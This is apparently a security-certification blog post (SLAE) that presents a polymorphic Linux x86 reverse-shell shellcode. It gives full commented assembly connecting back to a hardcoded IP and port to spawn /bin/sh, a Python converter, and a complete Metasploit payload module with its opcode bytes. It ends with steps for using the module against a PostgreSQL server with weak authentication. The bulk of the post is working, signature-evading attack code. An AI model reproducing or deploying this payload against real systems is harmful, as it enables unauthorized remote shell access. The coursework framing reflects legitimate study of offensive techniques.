For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is a bonus exercise I added about creating
a polymorphic reverse shell metasploit module. Code can be found at my GitHub SLAE repository.
BONUS1. POLYMORPHIC REVERSE SHELL
___________________________________________________
___________________________________________________
I was very interested by doing a polymorphic version of my reverse shell shellcode done in assignement 2, and create a metasploit module from it. You can find below
the assembly of the shellcode, using same techniques than previously talked, so I will not explain them again:
Then on Kali Linux, create an msf folder into the user's directory:
mkdir -p ~/.msf4/modules/payloads/singles/linux/x86/
Create the payload module, inserting the python script output
nano ~/.msf4/modules/payloads/singles/linux/x86/poly_shell_reverse.rb
Final module looks like this:
Checking our payload information:
Checking all options are set:
set RHOST 127.0.0.1
set LHOST 10.0.0.56
Now exploiting!
Note that setting RHOST to 127.0.0.1 can often gives a Metasploit error about the address being reserved. If you have the problem, set PostgreSQL to listen on the local IP address, and set your address (10.0.0.56 in the above example) as RHOST.
We can see that our polymorphic reverse shell metasploit module is working perfectly, IP address and port are modified in place.
Thanks for reading.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
; Title: Polymorphic Linux x86 Reverse Shell Shellcode (126 bytes)
; Author: Guillaume Kaddouch
; SLAE-681
global _start
section .text
_start:
; Socket creation and handling with socketcall()
; socketcall(int call, unsigned long *args)
; 1 - creating socket
; int socket(int domain, int type, int protocol)
; socketfd = socket(2, 1, 0)
; eax = 0x66 = socketcall()
; ebx = 0x1 = socket()
; ecx = ptr to socket's args
xor ebx, ebx ; zero out ebx
mul ebx ; implicit operand eax: zero out eax
mov al, 0x33
add al, 0x33 ; 0x66 = 102 = socketcall()
mov [esp-4], dword ebx ; push ebx, 3rd arg: socket protocol = 0
sub esp, 0x4
mov bl, 0x1 ; ebx = 1 = socket() function
push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM)
push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
mov ecx, esp ; copy stack structure's address to ecx (pointer)
int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0)
; 2 - dup2
; int dup2(int oldfd, int newfd)
; duplicate our socketfd into fd from 2 to 0 (stdin = 0, stdout = 1, stderror = 2)
; stdin/stdout/stderror become the TCP connection
; eax = 0x3f = dup2()
; ebx = socketfd
; ecx = fd (from 2 to 0)
;xchg eax, ebx ; ebx = socketfd, eax = 1
mov ebx, eax
mov al, 0x1
pop ecx ; ecx = 2 (loop count)
inc ecx
pxor mm0, mm1
dec ecx
dup_jump:
mov al, 0x4f ; eax = 63 = dup2()
sub al, 0x10
int 0x80 ; dup2(socketfd, ecx)
inc ecx ; decrement ecx from stderror to stdin
sub ecx, 0x2
jns dup_jump ; loop until ZF is set
; 3 - connect
; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
; eax = connect(socketfd, [2, port, IP], 16)
; returns 0 on success
; eax = 0x66 = socketcall()
; ebx = 0x3 = connect()
; ecx = ptr to bind's args
mov al, 0x33 ; 0x66 = 102 = socketcall()
add al, 0x33
push dword 0x80f1a8c0 ; 192.168.241.128 Remote IP address
push word 0x611e ; Remote port
push word 0x0002 ; sin_family = 2 (AF_INET)
;mov ecx, esp ; ecx = ptr to *addr structure
xchg ecx, esp
mov esp, ecx
push byte 16 ; addr_len = 16 (structure size)
push ecx ; push ptr of args structure
push ebx ; ebx = socketfd
mov bl, 0x4 ; ebx = 3 = connect()
dec bl
mov ecx, esp ; save esp into ecx, points to socketfd
fldz
int 0x80 ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success)
; 4 - execve /bin/sh
; execve(const char *filename, char *const argv[filename], char *const envp[])
; execve(/bin//sh, &/bin//sh, 0)
; eax = 0xb = execve()
; ebx = *filename
; ecx = *argv
; edx = *envp
xor eax, eax
push edx ; edx = 0x00000000
;push dword 0x68732f2f ; push //sh
;push dword 0x6e69622f ; push /bin (=/bin//sh)
mov ebx, 0x57621e1e
add ebx, 0x11111110
push ebx
inc dword [esp]
mov ebx, 0x4c47400c
add ebx, 0x22222222
push ebx
inc dword [esp]
mov ebx, esp ; ebx = ptr to /bin//sh into ebx
push edx ; edx = 0x00000000
mov edx, esp ; edx = ptr to NULL address
push ebx ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
mov ecx, esp ; ecx points to argv
mov al, 0xb
int 0x80 ; execve /bin/sh
Then I made an executable from it, and used a python script I built to convert an objdump disassembly to a metasploit clean module format, that can be inserted into a metasploit module:
#!/usr/bin/python
# Title: ELF to Metasploit converter
# Author: Guillaume Kaddouch
# SLAE-681
import sys, os
try:
file = sys.argv[1]
except:
print "you must submit a filename."
exit()
os.system("objdump -d " + file + " -M intel > ./tmp")
p = open(file + ".payload", "w")
with open("./tmp", "r") as f:
for line in f:
r = line.split('\t')
converted = ""
if len(r) == 3:
opcode = r[1].replace(" ", "")
asm = r[2].replace(" ", " ")
asm.replace(" ", " ")
asm = asm[:-1]
index = 0
while index < len(opcode):
converted += "\\x" + opcode[index:index+2]
index = index + 2
converted = ' \t "' + converted + '"' + ' ' * (40 - len(converted))
buffer = converted + '+# ' + asm
print buffer
p.write(buffer + '\n')
f.close()
p.close()
How to use it (extract):Then on Kali Linux, create an msf folder into the user's directory:
mkdir -p ~/.msf4/modules/payloads/singles/linux/x86/
Create the payload module, inserting the python script output
nano ~/.msf4/modules/payloads/singles/linux/x86/poly_shell_reverse.rb
Final module looks like this:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 126
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Polymorphic Linux Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'Guillaume Kaddouch - SLAE-681',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 52, 'ADDR' ],
'LPORT' => [ 58, 'n' ],
},
'Payload' =>
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\xb0\x33" +# mov al,0x33
"\x04\x33" +# add al,0x33
"\x89\x5c\x24\xfc" +# mov DWORD PTR [esp-0x4],ebx
"\x83\xec\x04" +# sub esp,0x4
"\xb3\x01" +# mov bl,0x1
"\x6a\x01" +# push 0x1
"\x6a\x02" +# push 0x2
"\x89\xe1" +# mov ecx,esp
"\xcd\x80" +# int 0x80
"\x89\xc3" +# mov ebx,eax
"\xb0\x01" +# mov al,0x1
"\x59" +# pop ecx
"\x41" +# inc ecx
"\x0f\xef\xc1" +# pxor mm0,mm1
"\x49" +# dec ecx
"\xb0\x4f" +# mov al,0x4f
"\x2c\x10" +# sub al,0x10
"\xcd\x80" +# int 0x80
"\x41" +# inc ecx
"\x83\xe9\x02" +# sub ecx,0x2
"\x79\xf4" +# jns 8048083
"\xb0\x33" +# mov al,0x33
"\x04\x33" +# add al,0x33
"\x68\xc0\xa8\xf1\x80" +# push 0x80f1a8c0
"\x66\x68\x1e\x61" +# pushw 0x611e
"\x66\x6a\x02" +# pushw 0x2
"\x87\xcc" +# xchg esp,ecx
"\x89\xcc" +# mov esp,ecx
"\x6a\x10" +# push 0x10
"\x51" +# push ecx
"\x53" +# push ebx
"\xb3\x04" +# mov bl,0x4
"\xfe\xcb" +# dec bl
"\x89\xe1" +# mov ecx,esp
"\xd9\xee" +# fldz
"\xcd\x80" +# int 0x80
"\x31\xc0" +# xor eax,eax
"\x52" +# push edx
"\xbb\x1e\x1e\x62\x57" +# mov ebx,0x57621e1e
"\x81\xc3\x10\x11\x11\x11" +# add ebx,0x11111110
"\x53" +# push ebx
"\xff\x04\x24" +# inc DWORD PTR [esp]
"\xbb\x0c\x40\x47\x4c" +# mov ebx,0x4c47400c
"\x81\xc3\x22\x22\x22\x22" +# add ebx,0x22222222
"\x53" +# push ebx
"\xff\x04\x24" +# inc DWORD PTR [esp]
"\x89\xe3" +# mov ebx,esp
"\x52" +# push edx
"\x89\xe2" +# mov edx,esp
"\x53" +# push ebx
"\x89\xe1" +# mov ecx,esp
"\xb0\x0b" +# mov al,0xb
"\xcd\x80" # int 0x80
}
))
end
end
Notice the offset of LHOST and LPORT that must be modified according to your payload. Offset begins at 0, first opcode, and goes up.
To test the payload, I choosed to exploit my local PostgreSQL service, by modifying its configuration file to trust local connections, to not requiring authentication. That would be the same
case in a real-case scenario where a PostgreSQL installation would be found with default or weak credentials.Checking our payload information:
Checking all options are set:
set RHOST 127.0.0.1
set LHOST 10.0.0.56
Now exploiting!
Note that setting RHOST to 127.0.0.1 can often gives a Metasploit error about the address being reserved. If you have the problem, set PostgreSQL to listen on the local IP address, and set your address (10.0.0.56 in the above example) as RHOST.
We can see that our polymorphic reverse shell metasploit module is working perfectly, IP address and port are modified in place.
Thanks for reading.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681